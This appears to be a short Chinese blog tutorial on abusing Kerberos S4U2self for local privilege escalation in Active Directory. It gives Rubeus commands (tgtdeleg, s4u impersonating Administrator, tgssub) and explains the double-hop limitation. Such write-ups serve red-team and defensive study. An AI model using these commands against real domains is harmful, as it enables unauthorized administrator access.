利用S4u2self进行本地提权

2021-11-02 10:36:01 浏览数 (1)

S4u2self可以被用来进行本地提权,假如你拿到一个服务帐号如iis此类的账户,便可以完成此类攻击。因为所有具有spn的用户都可以请求S4U2self。

这里以一个计算机账户作为演示。

我们先利用tgtdeleg来获取该账户的TGT

代码语言:javascript复制
Rubeus.exe tgtdeleg /nowrap

然后我们利用s4u来颁发TGS

代码语言:javascript复制
Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /ticket:do

查看服务名可以看到服务名为我们的机器账户

但其没有给我们办法SPN,但我们可以自行进行修改,利用tgssub

代码语言:javascript复制
Rubeus.exe tgssub /altservice:host/wap.ssosec.lab /ticket:doIFdD

然后我们只需要去ptt这个票据即可

然后访问主机的host服务(或者是http服务),已变成管理员权限但是本地管理员无法变为域管。

这是因为 Kerberos Double Hop的问题,在PSSession中,Powershell是通过委派用户凭证的方式让用户在远程计算机上执行任务的。用户从计算机A创建会话连接到计算机B,Powershell通过委派,使得计算机B以用户身份执行任务,好像就是用户自己在执行一样。此时,用户试图与其他计算机C建立连接,得到的却是红色的拒绝访问。因为此时并不是以该用户身份请求访问C,而是以计算机B账户请求的。而微软给出的解决方案则是无约束委派,没有意义,不做讨论。

0 人点赞